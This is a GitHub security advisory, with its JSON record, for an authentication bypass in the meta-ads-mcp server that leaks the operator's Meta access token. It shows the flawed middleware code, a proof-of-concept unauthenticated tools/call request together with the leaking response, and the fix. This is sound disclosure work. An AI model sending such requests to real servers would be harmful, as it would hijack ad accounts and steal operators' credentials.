GHSA-9GW6-46QC-99VR

Vulnerability from github – Published: 2026-06-11 13:28 – Updated: 2026-06-11 13:28
VLAI
Summary
Meta Ads MCP: Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token
Details

Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token

Field Value
Repository pipeboard-co/meta-ads-mcp
Affected version ≤ 1.0.101 (commit 496c988 ~ 7d14226); Versions 1.0.102–1.0.105 lack git tags, so patch status is unconfirmed.
Vulnerability CWE-287 — Improper Authentication
Severity Critical
CVSS 3.1 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Summary

AuthInjectionMiddleware.dispatch() at http_auth_integration.py:272 unconditionally forwards unauthenticated Streamable HTTP requests to downstream MCP tool handlers without issuing a 401 response, allowing any network-reachable caller to invoke MCP tools without authentication. When no per-request credential is present, tool handlers fall back to the META_ACCESS_TOKEN environment variable, and when the downstream Meta Graph API call fails, api.py:263–269 serialises the raw httpx request URL—including the operator's access_token as a query parameter—into the JSON-RPC response body, delivering the credential to the unauthenticated caller.

Affected Code

meta_ads_mcp/core/http_auth_integration.py:272 — middleware unconditionally calls call_next(request) even when no auth headers are present

        if not auth_token and not pipeboard_token:
            logger.warning("HTTP Auth Middleware: No authentication tokens found in headers")

        try:
            response = await call_next(request)   # line 272: no 401 returned
            return response
        finally:
            if auth_token:
                FastMCPAuthIntegration.clear_auth_token()
            if pipeboard_token:
                FastMCPAuthIntegration.clear_pipeboard_token()

meta_ads_mcp/core/api.py:136 — operator token appended to URL query parameters, exposed verbatim in Graph API error response request_url

    request_params = params or {}
    request_params["access_token"] = access_token

Unauthenticated HTTP POST /mcp → AuthInjectionMiddleware.dispatch():272 (no 401 returned) → tool handler invokes make_api_request() using META_ACCESS_TOKEN env fallback → request_params["access_token"]:136 (token in URL) → Graph API error path at api.py:263–269 returns request_url containing access_token=… in 200 OK JSON-RPC response.

Proof of Concept

Step 1 — POST /mcp with no auth headers: HTTP 200 OK with operator access_token in request_url — proves unauthenticated tool execution and operator credential leakage.

docker run --rm -p 127.0.0.1:8080:8080 -e META_ACCESS_TOKEN=FAKE_TOKEN_FOR_POC_DEMO_123456789 meta-ads-mcp-vuln001 &
python3 poc.py

POST /mcp HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","method":"tools/call","id":2,"params":{"name":"get_ad_accounts","arguments":{"limit":1}}}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"data\": \"{\\n  \\\"error\\\": {\\n    \\\"message\\\": \\\"HTTP Error: 400\\\",\\n    \\\"details\\\": {\\n      \\\"error\\\": {\\n        \\\"message\\\": \\\"Invalid OAuth access token data.\\\",\\n        \\\"type\\\": \\\"OAuthException\\\",\\n        \\\"code\\\": 190\\n      }\\n    },\\n    \\\"full_response\\\": {\\n      \\\"status_code\\\": 400,\\n      \\\"url\\\": \\\"https://graph.facebook.com/v24.0/me/adaccounts?...&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\",\\n      \\\"request_url\\\": \\\"https://graph.facebook.com/v24.0/me/adaccounts?fields=id%2Cname%2Caccount_id%2Caccount_status%2Camount_spent%2Cbalance%2Ccurrency%2Cage%2Cbusiness_city%2Cbusiness_country_code&limit=1&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\"\\n    }\\n  }\\n}\"}"
      }
    ],
    "isError": false
  }
}

Impact

An unauthenticated attacker who can reach the MCP server's HTTP port (default 8080) can invoke any registered MCP tool as the operator, consuming the operator's Meta Ads API quota and performing read or write operations on connected Meta ad accounts. When any tool call triggers a Graph API error, the operator's META_ACCESS_TOKEN is returned verbatim in the request_url field of the 200 OK JSON-RPC response, enabling the attacker to exfiltrate the long-lived credential and subsequently access the Meta Graph API directly outside the MCP interface.

Remediation

In AuthInjectionMiddleware.dispatch() (http_auth_integration.py), return a 401 Unauthorized response when neither auth_token nor pipeboard_token is present, instead of falling through to call_next:

from starlette.responses import Response

if not auth_token and not pipeboard_token:
    return Response(
        content='{"error":"Unauthorized"}',
        status_code=401,
        media_type="application/json",
    )

In make_api_request() (api.py), strip access_token from the request_url in error payloads, or transmit the token via an Authorization: Bearer header rather than a URL query parameter to prevent it from appearing in URLs, server logs, or error responses.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.108"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "meta-ads-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.109"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-287",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T13:28:29Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | pipeboard-co/meta-ads-mcp |\n| Affected version | \u2264 1.0.101 (commit 496c988 ~ 7d14226); Versions 1.0.102\u20131.0.105 lack git tags, so patch status is unconfirmed. |\n| Vulnerability    | CWE-287 \u2014 Improper Authentication |\n| Severity         | Critical |\n| CVSS 3.1         | 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |\n\n\n## Summary\n\n`AuthInjectionMiddleware.dispatch()` at `http_auth_integration.py:272` unconditionally forwards unauthenticated Streamable HTTP requests to downstream MCP tool handlers without issuing a `401` response, allowing any network-reachable caller to invoke MCP tools without authentication. When no per-request credential is present, tool handlers fall back to the `META_ACCESS_TOKEN` environment variable, and when the downstream Meta Graph API call fails, `api.py:263\u2013269` serialises the raw `httpx` request URL\u2014including the operator\u0027s `access_token` as a query parameter\u2014into the JSON-RPC response body, delivering the credential to the unauthenticated caller.\n\n## Affected Code\n\n`meta_ads_mcp/core/http_auth_integration.py:272` \u2014 middleware unconditionally calls `call_next(request)` even when no auth headers are present\n\n```python\n        if not auth_token and not pipeboard_token:\n            logger.warning(\"HTTP Auth Middleware: No authentication tokens found in headers\")\n\n        try:\n            response = await call_next(request)   # line 272: no 401 returned\n            return response\n        finally:\n            if auth_token:\n                FastMCPAuthIntegration.clear_auth_token()\n            if pipeboard_token:\n                FastMCPAuthIntegration.clear_pipeboard_token()\n```\n\n`meta_ads_mcp/core/api.py:136` \u2014 operator token appended to URL query parameters, exposed verbatim in Graph API error response `request_url`\n\n```python\n    request_params = params or {}\n    request_params[\"access_token\"] = access_token\n```\n\nUnauthenticated HTTP POST /mcp \u2192 `AuthInjectionMiddleware.dispatch():272` (no 401 returned) \u2192 tool handler invokes `make_api_request()` using `META_ACCESS_TOKEN` env fallback \u2192 `request_params[\"access_token\"]:136` (token in URL) \u2192 Graph API error path at `api.py:263\u2013269` returns `request_url` containing `access_token=\u2026` in 200 OK JSON-RPC response.\n\n## Proof of Concept\n\nStep 1 \u2014 POST /mcp with no auth headers: HTTP 200 OK with operator `access_token` in `request_url` \u2014 proves unauthenticated tool execution and operator credential leakage.\n\n```bash\ndocker run --rm -p 127.0.0.1:8080:8080 -e META_ACCESS_TOKEN=FAKE_TOKEN_FOR_POC_DEMO_123456789 meta-ads-mcp-vuln001 \u0026\npython3 poc.py\n```\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":2,\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"result\": {\n    \"content\": [\n      {\n        \"type\": \"text\",\n        \"text\": \"{\\\"data\\\": \\\"{\\\\n  \\\\\\\"error\\\\\\\": {\\\\n    \\\\\\\"message\\\\\\\": \\\\\\\"HTTP Error: 400\\\\\\\",\\\\n    \\\\\\\"details\\\\\\\": {\\\\n      \\\\\\\"error\\\\\\\": {\\\\n        \\\\\\\"message\\\\\\\": \\\\\\\"Invalid OAuth access token data.\\\\\\\",\\\\n        \\\\\\\"type\\\\\\\": \\\\\\\"OAuthException\\\\\\\",\\\\n        \\\\\\\"code\\\\\\\": 190\\\\n      }\\\\n    },\\\\n    \\\\\\\"full_response\\\\\\\": {\\\\n      \\\\\\\"status_code\\\\\\\": 400,\\\\n      \\\\\\\"url\\\\\\\": \\\\\\\"https://graph.facebook.com/v24.0/me/adaccounts?...\u0026access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\\\\\",\\\\n      \\\\\\\"request_url\\\\\\\": \\\\\\\"https://graph.facebook.com/v24.0/me/adaccounts?fields=id%2Cname%2Caccount_id%2Caccount_status%2Camount_spent%2Cbalance%2Ccurrency%2Cage%2Cbusiness_city%2Cbusiness_country_code\u0026limit=1\u0026access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\\\\\"\\\\n    }\\\\n  }\\\\n}\\\"}\"\n      }\n    ],\n    \"isError\": false\n  }\n}\n```\n\n## Impact\n\nAn unauthenticated attacker who can reach the MCP server\u0027s HTTP port (default 8080) can invoke any registered MCP tool as the operator, consuming the operator\u0027s Meta Ads API quota and performing read or write operations on connected Meta ad accounts. When any tool call triggers a Graph API error, the operator\u0027s `META_ACCESS_TOKEN` is returned verbatim in the `request_url` field of the 200 OK JSON-RPC response, enabling the attacker to exfiltrate the long-lived credential and subsequently access the Meta Graph API directly outside the MCP interface.\n\n## Remediation\n\nIn `AuthInjectionMiddleware.dispatch()` (`http_auth_integration.py`), return a `401 Unauthorized` response when neither `auth_token` nor `pipeboard_token` is present, instead of falling through to `call_next`:\n\n```python\nfrom starlette.responses import Response\n\nif not auth_token and not pipeboard_token:\n    return Response(\n        content=\u0027{\"error\":\"Unauthorized\"}\u0027,\n        status_code=401,\n        media_type=\"application/json\",\n    )\n```\n\nIn `make_api_request()` (`api.py`), strip `access_token` from the `request_url` in error payloads, or transmit the token via an `Authorization: Bearer` header rather than a URL query parameter to prevent it from appearing in URLs, server logs, or error responses.",
  "id": "GHSA-9gw6-46qc-99vr",
  "modified": "2026-06-11T13:28:29Z",
  "published": "2026-06-11T13:28:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-9gw6-46qc-99vr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.109"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Meta Ads MCP: Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.